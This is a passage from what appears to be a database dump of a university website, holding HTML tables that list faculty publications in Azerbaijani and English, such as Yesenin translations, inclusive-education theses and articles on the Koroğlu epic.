Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 267,. Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 aprel 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Biliyin qiymətləndirilməsinin 100 ballıq sistemi haqqında bəzi mülahizələr.</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 10, numbers 3-4; Volume 11, numbers 1-4; Volume 12, numbers 1-2; The international symposium “Modern developmental trends and Turkic world”,</p></td><td width=\"53\"><p>29-31 may, 2009</p></td><td width=\"43\"><p>p. 199-203</p></td></tr><tr><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Sergey Yesenin</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 270 Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>31 may 2009.</p></td><td width=\"43\"><p>Səh.16-26. 31 may 2009</p></td></tr><tr><td width=\"186\"><p>Anama məktub, Axşam, “İran nəğmələri”ndən.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 270. Xəzər Universitəsi</p></td><td width=\"53\"><p>31 may 2009</p></td><td width=\"43\"><p>Səh.27-28</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 09 (60)</p></td><td width=\"53\"><p>18 iyul 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 10 (61),</p></td><td width=\"53\"><p>4 sentyabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeni dərs iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeseninin vətənində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>Səh.22-26.</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; 27. Xəzər Universitəsi</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>№ 273 Səh.</p></td></tr><tr><td width=\"186\"><p>Mən onu necə görmüşəm. (Serqey Yesenin haqqında xatirələrim)</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>«Proşay,&nbsp; Baku!»</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.14-19</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.19</p></td></tr><tr><td width=\"186\"><p>80 yaşlı cavan aşıq - Aslan Kosalı</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Avropa” nəşriyyatı.&nbsp; Bakı.</p></td><td width=\"53\"><p>2009</p></td><td width=\"43\"><p>Səh.170-172</p></td></tr><tr><td width=\"186\"><p>Tələbələr tələbələrin gözü və sözü ilə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 277</p></td><td width=\"53\"><p>15 noyabr 2009</p></td><td width=\"43\"><p>Səh.10-13.</p></td></tr><tr><td width=\"186\"><p>«Do svidanğə, druq moy, do svidanğə».</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 280</p></td><td width=\"53\"><p>31 dekabr 2009</p></td><td width=\"43\"><p>Səh.12-18</p></td></tr><tr><td width=\"186\"><p>Kİm deyir ki, əvəzedilməz insan yoxdur?</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər (curnal), aylıq dərgi, № 282</p></td><td width=\"53\"><p>fevral 2010</p></td><td width=\"43\"><p>Səh.14-15</p></td></tr><tr><td width=\"186\"><p>Bir şeirin iki tərcüməsi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Yeni dövr” qəzeti, № 49 (347)</p></td><td width=\"53\"><p>19 mart 2010-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yesenindən tərcümələrə dair: Bir şeirin üç tərcüməsi</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim fakt” qəzeti, № 04 (06)</p></td><td width=\"53\"><p>1-8 aprel 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Bir “metro səyahətim”dən doğan təəssüratlarım</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Xəzər Xəbər” jurnalı, aylıq dərgi, № 285</p></td><td width=\"53\"><p>may, 2010</p></td><td width=\"43\"><p>Səh.17-18.</p></td></tr><tr><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid (Fərhad Ağazadənin anadan olmasının 130 illiyinə həsr edilir)</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 27</p></td><td width=\"53\"><p>26 iyun 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Serqey Yesenin</p></td><td width=\"114\"><p>Kitab</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Xəzər Universitəsi Nəşriyyatı</p></td><td width=\"53\"><p>sentyabr 2010</p></td><td width=\"43\"><p>372 Səh.</p></td></tr><tr><td width=\"186\"><p>2010-2011-ci il tələbə qəbulu rəqəmlərdə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 288</p></td><td width=\"53\"><p>Sentyabr 2010</p></td><td width=\"43\"><p>Səh.18.&nbsp;</p></td></tr><tr><td width=\"186\"><p>Xəzər universitəsi tibb fakültəsi: Dünən və bu gün</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 290</p></td><td width=\"53\"><p>Noyabr, 2010</p></td><td width=\"43\"><p>Səh.41-47.&nbsp;</p></td></tr><tr><td width=\"186\"><p>Səmimiyyət heykəli – Nəriman Həsənzadə - 80</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 8;</p><p>Xəzər-Xəbər, (curnal)&nbsp; № 294</p></td><td width=\"53\"><p>fevral 2011-ci il;</p></td><td width=\"43\"><p>Mart, 2011</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından nümunələr İsaxanın tərcüməsində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzə Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>Bakı, 2011</p></td><td width=\"43\"><p>96 Səh.</p></td></tr><tr><td width=\"186\"><p>Bakı Yeseninin vəsfində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Azərbaycan dünya ədəbiyyatında”. Beynəlxalq simpoziumun materialları Bakı, Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>27-29 may 2011-ci il</p></td><td width=\"43\"><p>Səh.22-22.</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1575,980,'az','Elnara Ganizade','Elnara Ganizade','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>“Problems and achievements in preschool areas the last five years”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>Conference,&nbsp;&nbsp; Baku, Azerbaijan,</p></td><td width=\"66\"><p>July, 2-3, 2002</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Legislation, Policy, and Practices that support Inclusive Education in Azerbaijan”,&nbsp;</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA Conference,Bratislava</p></td><td width=\"66\"><p>October 25-28, 2006&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Inclusive Education Initiatives in Azerbaijan”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA, International Conference,&nbsp; Vilnius</p></td><td width=\"66\"><p>November 29-30,2007</p></td><td width=\"59\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1576,980,'en','Elnara Ganizade','Elnara Ganizade','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>“Problems and achievements in preschool areas the last five years”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>Conference,&nbsp;&nbsp; Baku, Azerbaijan,</p></td><td width=\"66\"><p>July, 2-3, 2002</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Legislation, Policy, and Practices that support Inclusive Education in Azerbaijan”,&nbsp;</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA Conference,Bratislava</p></td><td width=\"66\"><p>October 25-28, 2006&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Inclusive Education Initiatives in Azerbaijan”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA, International Conference,&nbsp; Vilnius</p></td><td width=\"66\"><p>November 29-30,2007</p></td><td width=\"59\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1577,979,'en','Elza Ismayilova','Elza Ismayilova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"48\"><p><strong>Year Published</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"204\"><p>“<em>The Azerbaijani language</em>– Azərbaycan dili”&nbsp; dərsliyi (İngilis dilində danışanlar üçün</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Hamlet İsaxanlı, Elza İsmayılova və Firəngiz Nəsirova</p></td><td width=\"144\"><p>Bakı, Xəzər Universiteti Nəşriyyatı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Azərbaycan, Gürcüstan, Türkiyə və Paris variantlarının müqayisəli təhlili”</p><p>&nbsp;</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(<em>Türk Dil Kurumunda&nbsp; çapdadır</em>)</p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin öyrədilməsi yolları<em>”</em></p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p><em>(Çapa hazırlanır).</em></p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Gəlir Novruz bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №43</p></td><td width=\"48\"><p>18.03.1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Azərbaycan – yurdum mənim”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №87</p></td><td width=\"48\"><p>01.06.2000</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Elm, təhsil və mədəniyyət bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №103</p></td><td width=\"48\"><p>01.04.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №105</p></td><td width=\"48\"><p>01.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №106</p></td><td width=\"48\"><p>15.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dərsdə texniki təlim vasitələrindən istifadə”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №107</p></td><td width=\"48\"><p>01.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi” “Dərsdə texniki təlim vasitələrindən istifadə”&nbsp; (ardı)</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №108</p></td><td width=\"48\"><p>15.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Demə, Səməd Vurğun gəldi-gedərdi...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №109</p></td><td width=\"48\"><p>01.07.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №111</p></td><td width=\"48\"><p>01.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №112</p></td><td width=\"48\"><p>15.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №113</p></td><td width=\"48\"><p>01.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişlərinin aşılanması ardıcıllığı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №114</p></td><td width=\"48\"><p>15.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №116</p></td><td width=\"48\"><p>15.12.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №117</p></td><td width=\"48\"><p>01.01.2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Borçalı – Qarayazı variantı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova Şurəddin Məmmədli və Vahid Ömərovla birgə&nbsp;&nbsp;</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 125</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Öz içindən yanan bir ocağam mən ...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 126</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məhəbbət coşanda şeir yazıram...” Hamlet İsaxanlının 55 illiyinə həsr olunmuş ədəbi-bədii gecədən qeydlər</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 141</p></td><td width=\"48\"><p>15.03.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dünya konsert salonunun açılışı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 136</p></td><td width=\"48\"><p>01.01. 2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq mərasimi”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 153</p></td><td width=\"48\"><p>01– 31.10.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 160</p></td><td width=\"48\"><p>01.15.02. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 161,</p></td><td width=\"48\"><p>16-29.02.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 162</p></td><td width=\"48\"><p>01-15.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 163</p></td><td width=\"48\"><p>16-31.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı № 164</p></td><td width=\"48\"><p>, 01.04. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunların bayramı. Xəzər Universitəsinin 16-cı məzunluq mərasimi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 164</p></td><td width=\"48\"><p>01.04.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Aşıq Koroğlu”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər” jurnalı№166</p></td><td width=\"48\"><p>01.05. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Тəкəlü tək&nbsp; arxası var, eli var”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №169</p></td><td width=\"48\"><p>15. 06. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 171</p></td><td width=\"48\"><p>15 iyul 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq bayramı”</p></td><td width=\"97\"><p>(Xəzər Universitetinin 17-ci məzunluq mərasiminə həsr olunmuş təntənəli gecədən reportaj</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla birgə</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №174</p></td><td width=\"48\"><p>5.10.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Məzunlar bayramı. Xəzər Universitetinin 18-ci məzunluq mərasiminə həsr olunmuş təntənəli gecə</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №185</p></td><td width=\"48\"><p>01.04.2005</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Qayıt, gəl!”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Körpü”</p></td><td width=\"48\"><p>01.01. 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Journal of Azerbaijani studes – Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlununoylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Folklor/Edebiyat” Dergisi, cilt:11, С: 43, Аnkara</p></td><td width=\"48\"><p>2005/3.</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(“Dilmac” jurnalı, № 25, 26, 27- İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Dəvət”&nbsp; qəzeti, İran</p></td><td width=\"48\"><p>6 mart&nbsp; 2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun yurdu, eli haqqında”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Urmiyanın səsi” qəzeti № 379– İran</p></td><td width=\"48\"><p>17 iyun 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>&nbsp;“Koroğlu” dastanının yaranma tarixi və məkanı</p><p>&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>&nbsp; 